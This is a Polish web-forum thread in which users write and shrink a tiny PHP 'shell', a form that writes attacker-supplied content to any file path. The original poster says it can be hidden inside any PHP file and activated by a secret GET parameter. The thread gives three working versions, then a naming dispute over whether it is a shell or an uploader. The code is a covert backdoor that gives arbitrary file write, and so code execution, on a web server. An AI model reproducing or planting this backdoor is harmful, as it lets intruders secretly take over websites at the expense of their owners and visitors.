Taki mały php shell ;)

[gogulas]

cze, zrobilem sobie shella, bardzo faniusi, mozna go bez przeszkod wstawic do kazdego pliku php i uaktywnic przez odpowiedniego GET'a np. "?1=1"

<?
if($_GET['1']==1){

$a=trim($_POST['a']);
$b=trim($_POST['b']);

if(empty($a)and empty($b)){

echo'
<form action=""method="post">
<input type="text"name="a">
<textarea name="b"></textarea>
<input type="submit"value=""></form>';}

else{
$x=fopen($a,"w+");
fwrite($x,$b);
fclose($x);
}}?>

271 bajtow

Wszystko niby O.K, ale niestety... kiedy do tresci pliku wpisuje znaki specjalne ( " ' ) wykonuje sie kochane... addslashes() ( /" /' ) czy przyczyna jest to, ze musi sie tak stac, zeby skrypt ten mogl sie bez bledow sie wykonac i przypisac do zmiennej taki ciag znakow? czy moze powod lezy gdzie indziej, jest na to jakas rada?

[Teeed]

jeżeli cie dobrze zrozumialem, to nie chcesz, zeby dodawal \ przez kazdym 'wymyslnym' znaczkiem?
poprawiony kod...

<?
if($_GET['1']==1){

$a=trim($_POST['a']);
$b=trim($_POST['b']);

if(empty($a)and empty($b)){

echo'
<form action=""method="post">
<input type="text"name="a">
<textarea name="b"></textarea>
<input type="submit"value=""></form>';}

else{
$x=fopen($a,"w+");
fwrite($x,stripslashes($b));
fclose($x);
}}?>

PS: to nie shell tylko plikomodyfikator...

[gogulas]

Dzieki za rozwiazanie, temat prosze zamknac lub usunac, wedle uznania.
Przyczyna tych addslashow byly oczywicie ustawienie serwera doh

p.s
coraz bardziej mnie to kreci, chyba w najblizszym czasie skupie sie na pechapechowaniu

/edit
To na koniec jeszcze finalna, 222 bajtowa wersja!
Tyle ze tutaj wzialem przegladarke i serwer troszke ladne oczy, "przypadkowo" zapomianjac o cudzyslowiach itp., ale wszystko dziala

<?

if($_GET[1]==1)

{$a=trim($_POST[a]);
$b=trim($_POST[b]);

if(empty($a))

{echo'
<form method=post>
<input type=text name=a>
<textarea name=b></textarea>
<input type=submit>';

}else
{$x=fopen($a,"w+");
fwrite($x,stripslashes($b));

}}?>

Nano shell :P

[Nikow]

Ale to nie jest shell...

Konto shell (lub konto shellowe, z ang. shell account) jest to konto w wieloużytkownikowym systemie operacyjnym przeważnie z rodziny Unixów (np. Linux, FreeBSD, Solaris) pozwalające na dostęp do usług terminalowych świadczonych przez serwer.

Gdzie tutaj masz usługi terminalowe? Ja tutaj tylko wiedze modyfikowanie plików.

[gogulas]

nie taki shell.....
chodzi o skrypt(y) php ktory bedzie mial podobne mozliowsci jak ftp... do zarzadzania kontem www....

[TQM]

to z shell'em to nie ma nic wspolnego - to raczej prosty uploader do plikow tekstowych...

[gogulas]

omawiany byl na forum c99 tez do uploadowania plikow, nazywane jet to shellem.... chodziac z ogolnie rozumiana definicja tego slowa nie ma wiele wspolnego

/edit
Wy wiecie o co mi chodzi, ja wiem o co wam chodzi, po co te przepychanki o nazewnictwo? :P

[TQM]

Po to aby pozniej jakis niekumaty tluman nie przyszedl i powiedzial ze pisze shell'a do wysylania zamowien z formularza na maila... 'bo to tez mozna nazwac shellem, niommm'

Zwrocilem na to uwage bo dla mnie shell to shell - wykonanie polecenia a nie zapisywanie contentu z requesta do pliku. Jedno to shell a drugie to uploader/edytor (chocby nawet bardzo ograniczony).